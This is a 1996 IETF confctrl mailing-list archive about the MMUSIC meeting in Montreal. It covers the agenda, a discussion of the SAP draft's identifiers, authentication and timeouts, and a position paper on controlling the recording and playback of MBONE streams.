Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00447>; Thu, 20 Jun 1996 17:52:25 -0700
Received: from hplms26.hpl.hp.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA07217>; Thu, 20 Jun 1996 17:52:25 -0700
Received: from jade.hpl.hp.com by hplms26.hpl.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3+HPL1.1S) id AA116338336; Thu, 20 Jun 1996 17:52:16 -0700
Received: by jade.hpl.hp.com
	(1.37.109.18/15.5+ECS 3.3+HPL1.1) id AA074878333; Thu, 20 Jun 1996 17:52:13 -0700
From: "Eve Schooler" <schooler@jade.hpl.hp.com>
Message-Id: <9606201752.ZM7485@jade.hpl.hp.com>
Date: Thu, 20 Jun 1996 17:52:13 -0700
X-Mailer: Z-Mail (3.2.1 10oct95)
To: confctrl@ISI.EDU, mhandley@cs.ucl.ac.uk, ruth@sri.com
Subject: Agenda and recommended readings
Cc: agenda@cnri.reston.va.us, schooler@jade.hpl.hp.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

Enclosed is a revised agenda for the upcoming MMUSIC meeting.
Documents referenced below may be found in the MMUSIC archive at:

	ftp://ftp.isi.edu/pub/confctrl/docs

Documents marked with an "*" may may also be found at the
RFC/I-D ftp sites.

The enthusiasm represented by requests to add items to the agenda
has been terrific.  We're sure to have two very interesting sessions
next week.  Thanks in advance to all who will be presenting and
participating for your time and contributions to the group.

See you on Monday!

Mark (in person)
Ruth and Eve (via MBONE)

-------------------

Agenda for the MMUSIC Working Group
36th IETF, Montreal, Canada

Monday June 24th, 1530-1730
---------------------------

SIP - Session Invitation Protocol (20 min)
	draft-ietf-mmusic-sip-01.{txt,ps,ps.Z}
	Mark Handley, University College London

SCIP - Simple Conference Invitation Protocol (20 min)
	draft-ietf-mmusic-scip-00.{txt,ps,ps.Z} *
	Henning Schulzrinne, GMD Fokus

SCIP and SIP Requirements and Design Issues (40 min)
	Mark Handley, University College London
	Henning Schulzrinne, GMD Fokus

SCCP - Simple Conference Control Protocol (40 min)
	draft-ietf-mmusic-sccp-00.{txt,html,ps,ps.Z} *
	Carsten Bormann, Universitaet Bremen


Wednesday June 26th, 0900-1130
------------------------------

SDP - Session Description Protocol (15 min)
	draft-ietf-mmusic-sdp.02.{ps,ps.Z}
	Mark Handley, University College London

SAP - Session Announcement Protocol (30 min)
	draft-ietf-mmusic-sap-00.{txt,ps,ps.Z}
	Mark Handley, University College London

H.323 for the Internet (60 min)

   Overview/Update of H.323 (10 min)
	Vineet Kumar, Intel

   Implementation of H.323 for the Internet (30 min)
	Philip Lantz, Intel

   Scenarios for Deployment of H.323 in the Internet (20 min)
	Joerg Ott, TU Berlin

User Location (15 min)
	draft-williams-uls-00.txt *
	Max Morris, Microsoft Corporation

Control of Recording and Playback Media Streams (15 min)
	Jeff Smith, NTT

MMUSIC Future Directions
	Mark Handley, University College London



From majordom@ISI.EDU  Thu Jun 20 10:57:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00560>; Thu, 20 Jun 1996 17:57:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00551>; Thu, 20 Jun 1996 17:57:48 -0700
Received: from hplms26.hpl.hp.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA07347>; Thu, 20 Jun 1996 17:57:47 -0700
Received: from jade.hpl.hp.com by hplms26.hpl.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3+HPL1.1S) id AA116948659; Thu, 20 Jun 1996 17:57:39 -0700
Received: by jade.hpl.hp.com
	(1.37.109.18/15.5+ECS 3.3+HPL1.1) id AA075038655; Thu, 20 Jun 1996 17:57:35 -0700
From: "Eve Schooler" <schooler@jade.hpl.hp.com>
Message-Id: <9606201757.ZM7501@jade.hpl.hp.com>
Date: Thu, 20 Jun 1996 17:57:35 -0700
In-Reply-To: "Eve Schooler" <schooler@jade.hpl.hp.com>
        "Agenda and recommended readings" (Jun 20,  5:52pm)
References: <9606201752.ZM7485@jade.hpl.hp.com>
X-Mailer: Z-Mail (3.2.1 10oct95)
To: confctrl@ISI.EDU, mhandley@cs.ucl.ac.uk, ruth@sri.com
Subject: Re: Agenda and recommended readings (CORRECTION)
Cc: schooler@jade.hpl.hp.com, agenda@cnri.reston.va.us
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The *real* archive location is:

	ftp://ftp.isi.edu/confctrl/docs

Sorry for the confusion,
E.

> Enclosed is a revised agenda for the upcoming MMUSIC meeting.
> Documents referenced below may be found in the MMUSIC archive at:
>
> 	ftp://ftp.isi.edu/pub/confctrl/docs
>
> Documents marked with an "*" may may also be found at the
> RFC/I-D ftp sites.



From majordom@ISI.EDU  Fri Jun 21 02:45:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18366>; Fri, 21 Jun 1996 09:47:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18360>; Fri, 21 Jun 1996 09:47:33 -0700
Received: from gatekeeper.sprintlabs.com (dmz.sprintlabs.com) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA08253>; Fri, 21 Jun 1996 09:47:32 -0700
Received: by gatekeeper.sprintlabs.com id AA05520
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 21 Jun 1996 09:44:25 -0700
Message-Id: <199606211644.AA05520@gatekeeper.sprintlabs.com>
Received: from unknown(199.2.53.28) by gatekeeper.sprintlabs.com via smap (V3.1)
	id xma005518; Fri, 21 Jun 96 09:43:54 -0700
X-Sender: aollikai@gatekeeper
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 21 Jun 1996 09:45:22 -0700
To: Eve Schooler <schooler@jade.hpl.hp.com>
From: ari@sprintlabs.com (Ari Ollikainen)
Subject: Re: Agenda and recommended readings
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>
>H.323 for the Internet (60 min)
>
>   Overview/Update of H.323 (10 min)
>        Vineet Kumar, Intel
>
>   Implementation of H.323 for the Internet (30 min)
>        Philip Lantz, Intel
>
>   Scenarios for Deployment of H.323 in the Internet (20 min)
>        Joerg Ott, TU Berlin
>

        Why are these scheduled as part of MMUSIC?


           _/_/   _/_/_/_/    _/  Ari Ollikainen <ari@sprintlabs.com>
        _/  _/   _/     _/   _/ Sprint Advanced Technology Laboratories
     _/_/_/_/   _/_/_/_/    _/ 1 Adrian Court (M/S: CABURS0102)
   _/     _/   _/     _/   _/ Burlingame, CA 94010
 _/      _/   _/       _/ _/ Voice: 415 375 4265 FAX: 415 375 4490
~~RECOM Technologies Inc.~~



From majordom@ISI.EDU  Fri Jun 21 21:53:20 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21463>; Fri, 21 Jun 1996 10:53:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21457>; Fri, 21 Jun 1996 10:53:39 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA22142>; Fri, 21 Jun 1996 10:53:37 -0700
Received: by   ruin.informatik.uni-bremen.de (8.7.3/20.9.94cl) 
	  id   TAA05033
          Fri, 21 Jun 1996 19:53:20 +0200 (MET DST)
Date: Fri, 21 Jun 1996 19:53:20 +0200 (MET DST)
Message-Id: <199606211753.TAA05033@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: ari@sprintlabs.com (Ari Ollikainen)
Cc: Eve Schooler <schooler@jade.hpl.hp.com>, confctrl@ISI.EDU
Subject: Re: Agenda and recommended readings
In-Reply-To: <199606211644.AA05520@gatekeeper.sprintlabs.com>
References: <199606211644.AA05520@gatekeeper.sprintlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ari Ollikainen writes:
> >H.323 for the Internet (60 min)
> >
> >   Overview/Update of H.323 (10 min)
> >        Vineet Kumar, Intel
> >
> >   Implementation of H.323 for the Internet (30 min)
> >        Philip Lantz, Intel
> >
> >   Scenarios for Deployment of H.323 in the Internet (20 min)
> >        Joerg Ott, TU Berlin
> >
> 
>         Why are these scheduled as part of MMUSIC?

Because they are conference control issues.
(MMUSIC is short for "multimedia session control".)

Gruesse, Carsten

From majordom@ISI.EDU  Fri Jun 21 04:05:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21959>; Fri, 21 Jun 1996 11:06:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21953>; Fri, 21 Jun 1996 11:06:27 -0700
Received: from dns2.noc.best.net by venera.isi.edu (5.65c/5.61+local-23)
	id <AA22858>; Fri, 21 Jun 1996 11:05:47 -0700
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12]) by dns2.noc.best.net (8.6.12/8.6.5) with SMTP id LAA04063; Fri, 21 Jun 1996 11:05:22 -0700
Date: Fri, 21 Jun 1996 11:05:22 -0700
Message-Id: <1.5.4.16.19960621110433.123f6f9a@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: Session Announcement Protocol Draft Draft
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark (cc. confctrl),

Thanks for writing this up.  There are some good thoughts here, e.g., wrt.
security.  In fact, I'd originally anticipated using a somewhat different
announcement protocol with similar features for my extended browser (when
making non-SDP announcements in other than the default directory), but after
reading your draft I'm hoping that I can just use SAP after all.  (And yes,
I wasn't able to keep my promise to have a beta version of my browser ready
by Montreal.  Sigh...)

Here are some comments on your draft, just in time (I hope) for your
presentation at Montreal.

One concern that I have about your draft is that it's rather confusing about
the issue of "announcement identity", which is a bit strange considering
that in developing the earlier SDP spec, we made a special effort to nail
this down.  In the SDP spec, we made it clear that the triple
"<username><session id><address>" (in the "origin" field) forms a unique id
for a session description (with the monotonically-increasing "<version>"
field being used to distinguish versions).

But now, in the SAP draft, you talk about a new 16-bit "message id(entifier)
hash" (and also a "version hash", which I think is the same thing).  I don't
see the need for this.  It sounds like you're intending this to be used as
an id that receiver implementations could use to quickly locate their
internal description of a session - e.g., a hash table index.  This seems
rather pointless.  First, because of the possibility (albeit remote) of hash
colisions, it can never be more than a hint.  To get the real 'identity' of
a session, you always have to look inside the SDP fields (as described
above).  Second, CPUs these days are fast.  Don't get in their way by trying
to do too much of their job for them.  Let the receivers compute their own
hash table ids from the "<username><session id><address>", using whatever
algorithm they choose.  Also, it seems that bandwidth, not CPU, is the
resource that's most constrained.  Omitting this 16-bit value will help a
little in this respect.

The various discussions (on pages 3 and 8) of the security implications of
the authentication header being optional - and what happens if modifications
and/or deletions are received - seem more convoluted than they need to be.
A perhaps simpler way of looking at this (which I think leads to the same
conclusions) is as follows:
- An announcement either has no authentication header, in which case its
unique id is defined by "<username><session id><address>" (as noted above),
or it has an authentication header, in which case its unique id also
includes the <public key> that's present in the AH.
- This means that - *by definition* - an announcement with an AH is
considered different from an announcement without an AH, or from one that
has an AH but with a different <public key>.
- For announcements with an AH, the digital signature (i.e., signed by the
<public key>) prevents tampering or fake announcements
- For announcements with no AH, the source address check provides the only
authentication (albeit weak), and *all bets are off* wrt denial of service.

I agree, btw, that the SAP authentication header that you describe is
different in purpose from the IPSEC one (although where possible we should
try to use the same security mechanisms that the IPSEC folks are proposing).
In fact, I would go a step further than suggest that the <public key>
perhaps be moved into *SDP*.  (This would allow session descrptions
announced by other means - e.g., by email or on Web pages - to be identified
and authenticated in the same way.)

The "explicit deletion" mechanism is a good idea (I think), but it may need
to be fleshed out a bit.  E.g., what happens if a deletion is received
before the corresponding announcement (e.g., because the announcement was
lost)?  In this case implementations should probably hold on to deletions
until a corresponding announcement arrives, or the deletion "times out".
(Which suggests that perhaps deletion messages should also have an "end time"?)

On page 4 you introduce "multicast address test" messages, but then don't
say anything more about them (including possible responses to them).
Perhaps these things should have a start/end time, just like SDP
announcements?  In fact, maybe they should really *be* SDP announcements:
announcing the use of one or more multicast addresses for a certain period
of time, but without any further details about the 'session'.

The assumption behind "multicast address test" messages seems to be that you
intend SAP to be used for dynamic multicast address allocation for *all*
applications - not just for sessions described using SDP.  Is this in fact
the intention?  If so, are you sure that this is going to scale in the
future if the MBone starts getting used in new ways - e.g., the use of large
numbers of low-bandwidth but high-TTL groups?  If, however, it's the
intention that SAP be used to allocate multicast addresses only for
SDP-described sessions, then why do you need separate "multicast address
test" messages?

Some comments on page 7:
- "add a random value (+/- 1/3 of the base interval)...".  You probably
should make this a bit clearer - e.g., "choose a random value in the range
[base interval*2/3, base interval*4/3]...".  In any case, the choice of
"1/3" needs to be justified a bit better.  It sounds like this is some Van
folklore that only he and a handful of others fully understand :-)
- The idea of having 'hard-coded' bandwidth limits in a protocol spec makes
me uneasy.  One alternative (warning: half-baked idea) would be to define
just the *ratios* between the bandwidth limits for each TTL range, plus a
minimum bandwidth limit.  Then, include a "scaling factor" to be included in
each SAP packet.  An implementation, when making its own announcements,
would use the lowest scaling factor that it sees for that TTL range.  (One
possibility: a 1-byte scaling factor, and compute: scale =
2**(scaling_factor/10).  This allows for a potential future bandwidth
improvements of up to ~47 million (2**25.5), which should be enough for a
while.)
- Is the paragraph about the choice of TTL for admin scoped announcements
really needed?  With admin scoping, couldn't you always just choose TTL = 255?
- You also need to mention the address range to choose from when creating
*non* admin scoped announcements?

The discussion of "implicit timeout" on page 2 needs to be deemphasized or
reworded, I think.  This is really a *user interface* issue rather than a
protocol issue.  I.e., implementations can choose to do anything they like
with 'stale' announcements, without affecting the protocol[*].  With my
browser for instance, a user can create multiple windows for a directory,
possibly setting different "staleness thresholds" for each window.  And in
my case, stale announcements are just 'hidden', not deleted.

[*]Come to think of it, I guess it can affect multicast address allocation -
i.e., should a previously announced address now be considered available,
just because the original announcement is 'stale'?  My preference is to
consider 'stale' announcements as being real for the purposes of address
allocation, but to allow implementations to do whatever they like in
deciding whether/how to present them.

In any case, specifiying a rigid interval like 1/2 hour is usually
inappropriate for trying to deal network partitions.  It's also way too
short - in the MBone announcement world, turning a machine off for the
weekend can constitute a "network partition".

Some comments on page 5:
- "a random field is encrypted along with the text payload".  Presumably
this is to prevent known plaintext attacks?  In any case, it should be
explained.
- "SAP is not tied to"...  Maybe true in principle, but at some point these
mechanisms have to be defined (or at least referenced).  (Implementors will
want to know what they should do.)  This document is as good a place as any.

Some comments on page 6:
- "Originating Source" field: Why is this needed, given that there's already
an "o=" field in the SDP payload?  Is this needed only for (weak)
authentication if there's no AH?  Does this field serve any useful purpose
if there *is* an AH?
- "Timeout" field.  Is this really needed?  Do any proxys do more than just
directly relay announcements?  (And for any that do, could we not also
expect them to also have the decryption key(s)?)

Anyway, enough rambling for now.  Time to go pack...

        Ross.


From majordom@ISI.EDU  Fri Jun 21 07:14:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05209>; Fri, 21 Jun 1996 14:16:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05201>; Fri, 21 Jun 1996 14:15:59 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA03448>; Fri, 21 Jun 1996 14:15:57 -0700
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.7.5/3.4W4(96/02/06))
	id OAA29644 for <confctrl@isi.edu>; Fri, 21 Jun 1996 14:15:53 -0700 (PDT)
Message-Id: <199606212115.OAA29644@mailhost.nttlabs.com>
To: confctrl@ISI.EDU
Subject: Control of Recording and Playback Media Streams
Date: Fri, 21 Jun 1996 14:14:59 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The following is the beginnings of my thoughts for the 15 minutes I
have the end of the second day...

This is more of a position paper and an attempt to encourage
discussion and ensure completeness of the requirements for protocols
to initiate and control recording and playback of mbone media streams.

Unfortunately, I didn't get as far with the details of how I would
like to see the protocols actually specified and used.  I figured it
was more valuable to give anyone checking their mail before leaving
for Montreal a chance to see this before I stood up in front of
everyone.

Cheers,

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com


---------------------

  Protocols for managing storage and retrieval of media streams
  Jeffrey D. Smith sumisu@nttlabs.com
  $Id: position-paper.sgml,v 1.1 1996/06/19 03:36:36 sumisu Exp sumisu $

  A complete solution to storing and retrieving multimedia streams on
  the Internet is necessary.  The scope of this proposed solution is
  limited to current MBONE usage of multimedia streams (1:1, 1:n, or
  n:n) which are transmitted via multicast (RTPv2) over the Internet.
  The goal of this paper is to introduce the domain in order to create
  discussion.  The issues surrounding storage and retrieval of media
  streams on the Internet are discussed.  Proposals for addressing
  server discovery, resource and facility reservation, and VCR-like con-
  trols of the streams is introduced.  It is the assumption of this pro-
  posal that no single protocol will be able to provide a solution, but
  rather a suite of protocols (relying largely on existing protocols)
  will be necessary.

  1.  Background

  The Internet multicast experiment called the MBONE has been largely
  successful as a proof of concept.  The MBONE has provided a testbed
  for protocols and shown that the Internet can be used for realtime
  multimedia communication.  The MBONE is being used to transmit
  conferences, broadcast concerts, for distance-learning, and for
  general collaboration.  It has become the medium of choice for
  distributed collaboration in many cases.  The ability to record and
  playback streams has been included in several tools sdr,nv and "media
  servers" media kit,mbone vcr have been developed.  To support the
  fundamental distributed nature of the MBONE it is necessary to provide
  distributed recording and playback where (given security and resource
  constraints) any user can request to any server to record a stream and
  likewise find a server with a desired stream and request playback and
  then be able to control that playback.


  2.  Scenario

  To explain further a simple usage scenario would be helpful.	Note --
  the sketch below does not address multiple requests to record the same
  session, nor does it address collaborative playback.


  2.1.	Recording

  A researcher in Japan wants to record a session being broadcast from
  the upcoming IETF.

  He (requesting party) sends a request for a server that is available
  to record, indicating the session he would like to record.  He can
  also indicate the "domain" of the requested server (request a server
  in his own company or within Japan, etc.)

  This request is sent to many (all) servers within the scope defined by
  the requesting party.

  A server that has the capacity to record the requested session will
  create a "reservation" and respond with an acknowledgement that it
  will be able to record that session.	The acknowledgement contains a
  URL (rtp://...)  that can be used to retrieve the recording stream(s).

  The reservation will include the session information and the
  requesting party information.

  Using the URL returned from the server, during the session the
  requesting party may stop the recording and restart if necessary.
  (Similar to pausing during commercials on a VCR.)
  2.2.	Playback

  Based on the policy of the recording server, the policy/encryption of
  the original session stream(s), or the settings made by the requesting
  party, playback will be available through similar means as record
  requests.

  A user can send a request for a server that has an archive of a
  desired stream(s) or session, or use the URL to request the stream(s)
  directly.

  The response from a server that has the requested stream is a URL for
  the stream.

  Several streams, possibly from different servers, can be combined for
  playback and defined as a session.

  A user can request the playback in multicast (with a different ttl
  than original) or unicast.

  A user can request a specific stream encoding (conversion from
  original encoding to requested encoding if different).

  Playback "viewers" would most likely be standard MBONE tools.

  A playback control tool would allow the requesting user to manipulate
  the playback of the streams (using VCR-like controls).

  During playback one or more of the streams may be muted.

  Streams may be added to or subtracted from the playback "session."


  3.  Issues

  Based on the above scenario/requirements and some brainstorming, the
  issues for providing distributed storage and retrieval of MBONE media
  streams can be identified as:


  o  Finding a server (``psuedo-anycast'')

  o  Requesting services  (QoS and server capabilities)

  o  Identifying a stream  (RTP URL)

  o  Controlling a stream (VCR-like controls)

  o  Dealing with encrypted streams

  o  Conversion of stream encoding  (nv to H.261)

  o  (Re)Mixing of streams  (audio channels in different languages, also
     video from server A and audio from server B)

  o  Formats for storage to disk (including security and session
     information)


  4.  Proposal for protocols

  Roughly, the above issues can be divided into the following areas:
  server discovery, resource and facility reservation, stream
  identification and control, and server internals.  The last, server
  internals, which would include storage formats and stream conversion,
  is beyond the scope of this document.
  4.1.	Server discovery

  There are two possible approaches that come to mind: searching and
  then binding to a server, or using a "global naming" to provide a
  persistent name for a server (actually a name for a service).

  My first impression is that the latter is prefered.  Persistent names
  would provide portability and could be used to provide a psuedo
  anycast and allow use of a "most available" server.

  By using CCCP, send (video.record) query to get
  "instantiation" of available server.


  4.2.	Resource and facility reservation

  This area is concerned with reserving resources on a server for record
  or playback.

  SIP may be a candidate.



  4.3.	Stream identification and control

  UDP based, realtime control May be unicast or multicast

  Commands


  o  Record

     Record_Cue Record_Start Pause Stop


  o  Play

     Play_Cue Play_Start Pause Stop FF Rew Rew_to_Start FF_to_End
     Slow_Forward Slow_Rewind


  o  Index

     Make_Index (timestamp) Next_Index n Prev_Index n


  o  Archive

     Show_Archive Show_Sessions Show_Space


















From majordom@ISI.EDU  Sat Jun 22 00:07:18 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08437>; Fri, 21 Jun 1996 15:10:23 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08431>; Fri, 21 Jun 1996 15:10:21 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28938>; Fri, 21 Jun 1996 15:10:20 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.01632-0@bells.cs.ucl.ac.uk>; Fri, 21 Jun 1996 23:07:12 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: ari@sprintlabs.com (Ari Ollikainen)
Cc: Eve Schooler <schooler@jade.hpl.hp.com>, confctrl@ISI.EDU
Subject: Re: Agenda and recommended readings
In-Reply-To: Your message of "Fri, 21 Jun 96 09:45:22 PDT." <199606211644.AA05520@gatekeeper.sprintlabs.com>
Date: Fri, 21 Jun 96 23:07:18 +0100
Message-Id: <14073.835394838@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>>H.323 for the Internet (60 min)
>>
>>   Overview/Update of H.323 (10 min)
>>        Vineet Kumar, Intel
>>
>>   Implementation of H.323 for the Internet (30 min)
>>        Philip Lantz, Intel
>>
>>   Scenarios for Deployment of H.323 in the Internet (20 min)
>>        Joerg Ott, TU Berlin
>>
>
>        Why are these scheduled as part of MMUSIC?

There is significant overlap between H.323 and some aspects of MMUSIC
work.  In fact some people believe H.323 renders the MMUSIC work
irrellevant.  I don't subscribe to this view, but I also believe that
bringing H.323 (or appropriate parts of it?) under the IETF umbrella
is necessary and beneficial.  Exactly what form this relationship
should take is not completely clear to me at this moment, but we
should have a better picture as a result of this meeting.

I speak for myself, but I think my co-chairs and area-director hold
similar views.

Mark



From majordom@ISI.EDU  Mon Jun 24 03:10:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06667>; Sun, 23 Jun 1996 18:10:47 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06661>; Sun, 23 Jun 1996 18:10:45 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA22111>; Sun, 23 Jun 1996 18:10:44 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.14125-0@bells.cs.ucl.ac.uk>; Mon, 24 Jun 1996 02:10:31 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Ross Finlayson <finlayson@lvn.com>
Cc: confctrl@ISI.EDU
Subject: Re: Session Announcement Protocol Draft Draft
In-Reply-To: Your message of "Fri, 21 Jun 96 11:05:22 PDT." <1.5.4.16.19960621110433.123f6f9a@pop.best.com>
Date: Mon, 24 Jun 96 02:10:31 +0100
Message-Id: <2068.835578631@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Here are some comments on your draft, just in time (I hope) for your
>presentation at Montreal.

Hi Ross,

We can talk this through in more detail when you get here (Montreal),
but I'll comment on a couple of the points you raise by email for the
benefit of people on the list...

>One concern that I have about your draft is that it's rather confusing about
>the issue of "announcement identity", which is a bit strange considering
>that in developing the earlier SDP spec, we made a special effort to nail
>this down.  In the SDP spec, we made it clear that the triple
>"<username><session id><address>" (in the "origin" field) forms a unique id
>for a session description (with the monotonically-increasing "<version>"
>field being used to distinguish versions).
>
>But now, in the SAP draft, you talk about a new 16-bit "message id(entifier)
>hash" (and also a "version hash", which I think is the same thing).  I don't
>see the need for this.  It sounds like you're intending this to be used as
>an id that receiver implementations could use to quickly locate their
>internal description of a session - e.g., a hash table index.  This seems
>rather pointless.  First, because of the possibility (albeit remote) of hash
>colisions, it can never be more than a hint.  To get the real 'identity' of
>a session, you always have to look inside the SDP fields (as described
>above).  Second, CPUs these days are fast.  Don't get in their way by trying
>to do too much of their job for them.  Let the receivers compute their own
>hash table ids from the "<username><session id><address>", using whatever
>algorithm they choose.  Also, it seems that bandwidth, not CPU, is the
>resource that's most constrained.  Omitting this 16-bit value will help a
>little in this respect.

There are two new aspects which make this hash field useful:

 - encrypted announcements
 - proxies

A proxy (for example) cannot decrypt the SDP payload, but still needs to
be able to do session deletion, etc, hence the hash serves as an id field.

Receivers receiving encrypted announcements have to attempt to decrypt
them by trying each of the keys they know in turn.  This is expensive,
and you need someting to cache the results against (whether you
succeeded or not).  

Thus the hash/orig src pair forms a unique id that can be used for
this purpose, and can also be used to optimise the handling of
unencrypted messages (though this is somewhat less important).

It's also possible that some time in the future we might
revise/replace SDP and it would be good if we didn't need to replace
such proxies too - it would be just a different payload format.

>The various discussions (on pages 3 and 8) of the security implications of
>the authentication header being optional - and what happens if modifications
>and/or deletions are received - seem more convoluted than they need to be.
>A perhaps simpler way of looking at this (which I think leads to the same
>conclusions) is as follows:

I think you neglected proxies and encrypted announcements... these do add
a little complexity.

>I agree, btw, that the SAP authentication header that you describe is
>different in purpose from the IPSEC one (although where possible we should
>try to use the same security mechanisms that the IPSEC folks are proposing).
>In fact, I would go a step further than suggest that the <public key>
>perhaps be moved into *SDP*.  (This would allow session descrptions
>announced by other means - e.g., by email or on Web pages - to be identified
>and authenticated in the same way.)

Van has (90%) convinced me we can use the IPSEC AH, but not in the
obvious way.  I haven't had a chance to read it in enough detail, but
the draft he pointed me at is draft-ietf-cat-idup-gss-05.txt "
Independent Data Unit Protection Generic Security Service Application
Program Interface (IDUP-GSS-API)"

Putting the AH in SDP would stop us being able to authenticate
encypted announcements :-(  Interesting idea though...


>On page 4 you introduce "multicast address test" messages, but then don't
>say anything more about them (including possible responses to them).

Yes, that ommission was a mistake.  You have to be *very* careful how
you implement this if it's not to cause more problems than it's worth.

>- Is the paragraph about the choice of TTL for admin scoped announcements
>really needed?  With admin scoping, couldn't you always just choose TTL = 255?

How much do you trust your scope zone not to have leaks?  That section
is however probably not as clearly worded as it should be.

>The discussion of "implicit timeout" on page 2 needs to be deemphasized or
>reworded, I think.  This is really a *user interface* issue rather than a
>protocol issue.

Careful here - it is a protocol issue - you can never assume a
deletion message reaches you - it is a basic soft-state protocol
design principle that state stimes out.  The timeouts have to be
stated in the protocol if they are to be meaningful.

>[*]Come to think of it, I guess it can affect multicast address allocation -
>i.e., should a previously announced address now be considered available,
>just because the original announcement is 'stale'?  

Correct, but SAP doesn't directly address multicast address allocation.

>In any case, specifiying a rigid interval like 1/2 hour is usually
>inappropriate for trying to deal network partitions.  It's also way too
>short - in the MBone announcement world, turning a machine off for the
>weekend can constitute a "network partition".

Yes, and your announcement will be timed out :-) If you want it
maintained you require a local proxy, which is part of the intended
architecture, but not part of SAP directly.

>Some comments on page 5:
>- "a random field is encrypted along with the text payload".  Presumably
>this is to prevent known plaintext attacks?  In any case, it should be


>- "Timeout" field.  Is this really needed?  Do any proxys do more than just
>directly relay announcements?  (And for any that do, could we not also
>expect them to also have the decryption key(s)?)

This is debatable either way.  Certainly I do not believe proxies
should (normally) have decryption keys.  But whether they really need
this timeout is debatable.

>Anyway, enough rambling for now.  Time to go pack...

See you...

Mark

From majordom@ISI.EDU  Wed Jun 26 19:12:52 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08791>; Wed, 26 Jun 1996 08:14:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08785>; Wed, 26 Jun 1996 08:13:58 -0700
Received: from rumms.uni-mannheim.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA01122>; Wed, 26 Jun 1996 08:13:20 -0700
Received: from pi4.informatik.uni-mannheim.de by rumms.uni-mannheim.de with SMTP id AA08937
  (5.67a/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 26 Jun 1996 17:12:46 +0200
Received: from eratosthenes.informatik.uni-mannheim.de (eratosthenes [134.155.48.125]) by pi4.informatik.uni-mannheim.de (8.7.3/8.7.3) with ESMTP id RAA11806; Wed, 26 Jun 1996 17:06:03 +0200
Received: (from whd@localhost) by eratosthenes.informatik.uni-mannheim.de (8.7/8.7) id RAA25478; Wed, 26 Jun 1996 17:12:59 +0200 (MET DST)
Date: Wed, 26 Jun 1996 17:12:52 +0200 (MET DST)
From: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
